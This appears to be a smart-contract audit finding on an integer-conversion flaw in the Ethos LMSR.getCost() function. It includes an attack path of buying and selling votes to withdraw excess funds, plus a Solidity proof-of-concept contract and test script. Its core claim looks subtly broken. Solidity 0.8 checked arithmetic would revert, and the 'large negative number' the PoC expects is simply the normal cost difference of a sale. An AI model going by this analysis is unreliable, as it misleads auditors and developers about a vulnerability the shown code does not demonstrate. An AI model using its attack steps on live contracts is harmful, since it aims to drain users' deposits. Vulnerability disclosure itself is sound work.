Fun Crepe Lobster
High
Unsafe conversion from uint256 to int256 in LMSR.getCost() will cause a funds distribution vulnerability for the protocol as malicious users will exploit integer underflow by creating and selling large vote positions, leading to incorrect cost calculations and excess fund withdrawals.
The function converts the difference between two uint256 costs to int256 without proper bounds checking:
uint256 oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter);
uint256 newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter);
costDiff = int256(newCost) - int256(oldCost);
### Root Cause
In [LMSR.sol:L116-L120](https://github.com/sherlock-audit/2024-12-ethos-update/blob/8d00c21b26274a75c47318f2dbacd9a40742034e/ethos/packages/contracts/contracts/utils/LMSR.sol#L116-L120) the direct conversion of uint256 to int256 in getCost() without bounds checking allows for integer underflow when calculating large cost differences.
### Internal Pre-conditions
1. Market state needs to have yes votes to be at least 100,000
2. Market's liquidityParameter needs to be exactly 1000
3. Market's base price needs to be at least 0.01 ether as set in DEFAULT_PRICE
4. Market funds in contract need to be sufficient to cover the sell transaction
### External Pre-conditions
1. ETH value needs to remain stable during transaction execution
2. Network gas price needs to be low enough to execute all required state changes within block gas limit
### Attack Path
1. Attacker calls buyVotes() with isPositive=true and maxVotesToBuy=100000
2. Attacker waits for transaction confirmation
3. Attacker calls sellVotes() with the following parameters:
- isPositive=true
- votesToSell=99999
- minimumVotePrice set very low to ensure transaction success
4. Due to integer underflow in getCost(), contract calculates incorrect cost difference
5. Attacker receives more funds than they should due to incorrect calculation
### Impact
The protocol suffers an approximate loss of user deposits equal to the difference between correct and underflowed cost calculation (potentially multiple ETH). The attacker gains this excess amount from the protocol's market funds, which should have been locked until market graduation.
### PoC
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {LMSR} from "./utils/LMSR.sol";
contract LMSRExploit {
function exploitUnderflow() public pure returns (int256) {
uint256 liquidityParameter = 1000;
// Initial state: Large imbalance in votes
uint256 currentYesVotes = 100000;
uint256 currentNoVotes = 1;
// New state: Selling almost all yes votes
uint256 newYesVotes = 1;
uint256 newNoVotes = 1;
// This call will underflow due to large difference between old and new cost
int256 costDiff = LMSR.getCost(
currentYesVotes,
currentNoVotes,
newYesVotes,
newNoVotes,
liquidityParameter
);
return costDiff; // Will return an incorrect negative value
}
}
// Test script
async function testExploit() {
const LMSRExploit = await ethers.getContractFactory("LMSRExploit");
const exploit = await LMSRExploit.deploy();
const result = await exploit.exploitUnderflow();
console.log("Cost difference:", result.toString());
// Will show a large negative number due to underflow
}
### Mitigation
function getCost(...) public pure returns (int256 costDiff) {
uint256 oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter);
uint256 newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter);
require(oldCost <= type(uint256).max >> 1 && newCost <= type(uint256).max >> 1,
"Cost exceeds safe bounds");
costDiff = int256(newCost) - int256(oldCost);
}